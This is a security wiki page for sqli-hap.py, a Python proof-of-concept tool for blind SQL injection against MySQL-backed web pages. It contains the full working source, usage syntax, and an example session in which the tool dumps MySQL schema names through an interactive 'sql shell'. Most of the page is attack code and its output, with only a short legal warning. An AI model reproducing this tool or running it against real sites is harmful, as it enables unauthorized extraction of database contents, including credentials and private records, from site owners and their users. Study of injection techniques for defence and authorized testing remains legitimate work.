Questions about this topic? Sign up to ask in the talk tab.

Sqli-hap.py

From NetSec
Revision as of 21:24, 20 November 2012 by LashawnSeccombe (Talk | contribs)

(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to: navigation, search
Main article: mysqli-blindutils
c3el4.png sqli-hap.py is tuned to extract a single byte of compressed data per request and requires 255 non-sequential rows in the injectable SQL query's potential result set.

This Python proof of concept uses comparative precomputation to perform blind sql injection, but does not automatically determine the context of the vulnerability or extract multiple bytes in a single request at this time.


Usage

  • Basic:
Terminal

localhost:~ $ ./sqli-hap.py [url] [column] [table]


  • Example:
 
 ╭─user@host ~
 ╰─➤  ./pub-sqli-hap.py http://127.0.0.1/sqli.php\?id\= id users
 [*] Attacking: http://127.0.0.1/sqli.php?id=
 [*] Checking for existing session
 [*] Building precomputation table..
 [*] Percent complete: 100.00% -- Time elapsed: 1.35 seconds -- Estimated time left: 0.00
 [*] Precomputation table built in 1.379987 seconds.
 [*] Enter a sql query:
 sql shell> select group_concat(table_name,0x2e,column_name,0x0a) from information_schema.columns where table_schema='mysql'
 [*] Percent complete: 100.00% -- Time elapsed: 3.48 seconds -- Estimated time left: 0.00
 columns_priv.Host
 ,columns_priv.Db
 ,columns_priv.User
 ,columns_priv.Table_name
 ,columns_priv.Column_name
 ,columns_priv.Timestamp
 ,columns_priv.Column_priv
 ,db.Host
 ,db.Db
 ,db.User
 ,db.Select_priv
 ,db.Insert_priv
 ,db.Update_priv
 ,db.Delete_priv
 ,db.Create_priv
 ,db.Drop_priv
 ,db.Grant_priv
 ,db.References_priv
 ,db.Index_priv
 ,db.Alter_priv
 ,db.Create_tmp_table_priv
 ,db.Lock_tables_priv
 ,db.Create_view_priv
 ,db.Show_view_priv
 ,db.Create_routine_priv
 ,db.Alter_routine_priv
 ,db.Execute_priv
 ,db.Event_priv
 ,db.Trigger_priv
 ,event.db
 ,event.name
 ,event.body
 ,event.definer
 ,event.execute_at
 ,event.interval_value
 ,event.interval_field
 ,event.created
 ,event.modified
 ,event.last_executed
 ,event.starts
 ,event.ends
 ,event.status
 ,event.on_completion
 ,event.sql_mode
 ,event.comment
 ,event.originator
 ,event.time_zone
 ,event.character_set_client
 ,event.collation_connection
 ,event.db_collation
 ,event.body_utf8
 ,func.name
 ,func.ret
 ,func.dl
 ,func.type
 ,general_log.event_time
 ,general_log.user_host
 ,general_log.thread_id
 ,general
 Requests: 389 (3.647493 seconds)
 Length of retrieved data: 1024
 sql shell> exit
 [*] Good bye

Source

RPU0j.png It is a crime to use techniques or tools on this page against any system without written authorization unless the system in question belongs to you
#!/usr/bin/python2
#!/usr/bin/python2
import sys
import urllib2
import time
from binascii import hexlify
import _mysql
import md5
import pickle
import re
import os
import threading
import Queue
import readline
readline.parse_and_bind('tab: complete')
readline.parse_and_bind('set editing-mode vi')
 
BOLD = '\033[1m'
BLUE = '\033[34m'
GREEN = '\033[32m'
YELLOW = '\033[33m'
RED = '\033[91m'
ENDC = '\033[0m'
 
def request(request_url):
  req = urllib2.Request(request_url)
  req.add_header = ('User-agent', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.17 (KHTML, like Gecko)' \
                                  ' Chrome/24.0.1309.0 Safari/537.17')
  r = urllib2.urlopen(req)
  return r.read()
 
def construct_discovery_query(url, column, table, counter):
  discovery = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) x where pos=%s)"
  discovery =  discovery % (column, column, table, counter)
  return url + urllib2.quote(discovery)
 
def construct_injection_query(url, column, table, query, position):
  injection = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) " \
              "x where pos=ascii(substring(compress((%s)) from %s for 1)))"
  injection = injection % (column, column, table, query, position)
  return url + urllib2.quote(injection)
 
def get_length(url, column, table, query, ascii_table, counter):
  injection = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) " \
              "x where pos=(length(length(compress((%s))))))" % (column, column, table, query)
  length_length = url + urllib2.quote(injection)
  length_length = ascii_table[md5.new(request(length_length)).digest()]
  counter += 1
 
  length = ""
  for i in range(1,length_length+1):
    injection = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) " \
                "x where pos=ascii(substring(length(compress((%s))) from %s for 1)))" 
    injection = injection % (column, column, table, query, i)
    request_url = url + urllib2.quote(injection)
    length += chr(ascii_table[md5.new(request(request_url)).digest()])
    counter += 1
 
  return (int(length), counter)
 
def get_query(prompt):
  while 1:
    query = raw_input(prompt)
    if query != "":
      break
  return query
 
def do_query(url, column, table, query, ascii_table, i, q):
  tmp = construct_injection_query(url, column, table, query, i)
  q.put(chr(ascii_table[md5.new(request(tmp)).digest()]))
 
def do_table(url, column, table, i, q):
  tmp = construct_discovery_query(url, column, table, i)
  q.put(md5.new(request(tmp)).digest())
 
def print_percent(percent, start_time):
  elapsed_time = time.time() - start_time
  eta = ((elapsed_time) / percent) * 100 - elapsed_time
  sys.stdout.write("\r%s[*]%s Percent complete: %s%.2f%%%s -- Time elapsed: %s%.2f%s seconds -- Estimated time left: %s%.2f%s" 
                   % (GREEN, ENDC, YELLOW, percent, ENDC, YELLOW, elapsed_time, ENDC, YELLOW, eta, ENDC))
  sys.stdout.flush()
 
def do_thread(target, args, counter, length, type_query):
  if type_query == 0:
    ascii_table = {}
  else:
    query_result = ""
 
  if type_query == 0:
    i = 0
  else:
    i = 1
 
 
  sys.stdout.write("\r%s[*]%s Percent complete: %.2f%%" % (GREEN, ENDC, 0.0))
  sys.stdout.flush()
  start_time = time.time()
 
  while i < length:
    threads = {}
    queues  = []
 
    for j in range(0,11):
      if i < length:
        queues.append(Queue.Queue())
        threads[i] = threading.Thread(target=target, args=args + (i, queues[j]))
        i += 1
        counter += 1
        print_percent(100 * float(i) / float(length), start_time)
 
    for thread in threads:
      threads[thread].start()
 
    for j, thread in enumerate(sorted(threads.iterkeys())):
      if type_query == 0:
        ascii_table[queues[j].get()] = thread
      else:
        query_result += queues[j].get()
      threads[thread].join()
 
  sys.stdout.write('\n')
  sys.stdout.flush()
 
  if type_query == 0:
    return ascii_table
  else:
    return (counter, query_result)
 
def main(url, column, table):
  session_name = re.split("(https?://)?(.*)/", url)[2]
 
  print "%s[*]%s Checking for existing session" % (GREEN, ENDC)
  try:
    try:
      os.stat("data")
    except:
      os.mkdir("data")
    ascii_table = pickle.load(open("data/%s" % session_name, "rb" ))
    print "%s[*]%s Loaded precomputation table." % (GREEN, ENDC)
  except:
    print "%s[*]%s Building precomputation table.." % (GREEN, ENDC)
    current = time.time()
    ascii_table = do_thread(do_table, (url, column, table, ), 0, 256, 0)
    pickle.dump(ascii_table, open("data/%s" % session_name, "wb"))
    print "\n%s[*]%s Precomputation table built in %s%f%s seconds." % (GREEN, ENDC, YELLOW, time.time() - current, ENDC)
 
  print "%s[*]%s Enter a sql query:" % (GREEN, ENDC)
 
  while 1:
    query = get_query("%ssql shell>%s " % (BOLD, ENDC))
    if query == "exit":
      break
 
    query_result = ""
    counter = 0
    current = time.time()
    (length, counter) = get_length(url, column, table, query, ascii_table, counter)
 
    (counter, query_result) = do_thread(do_query, (url, column, table, query, ascii_table, ), counter, length+1, 1)
 
    query = "SELECT UNCOMPRESS(0x%s)" % hexlify(query_result)
    mysql_connection = _mysql.connect('localhost', 'root', 'new-password')
    mysql_connection.query(query)
    result = mysql_connection.use_result()
    data = result.fetch_row()[0][0]
    mysql_connection.close()
 
    print data
    print "\nRequests: %s%d%s (%s%f%s seconds)\nLength of retrieved data: %s%s%d%s%s" 
          % (YELLOW, counter, ENDC, YELLOW, time.time() - current, ENDC, BOLD, YELLOW, len(data), ENDC, ENDC)
 
  print "%s[*]%s Good bye" % (GREEN, ENDC)
 
if __name__=="__main__":
  if len(sys.argv) != 4:
    print "Usage: %s <vulnerable url> <column name> <table name>" % sys.argv[0]
    exit()
 
  print "%s[*]%s Attacking: %s%s%s%s%s" % (GREEN, ENDC, BOLD, RED, sys.argv[1], ENDC, ENDC)
  main(sys.argv[1], sys.argv[2], sys.argv[3])
 


Sqli-hap.py is part of a series on exploitation.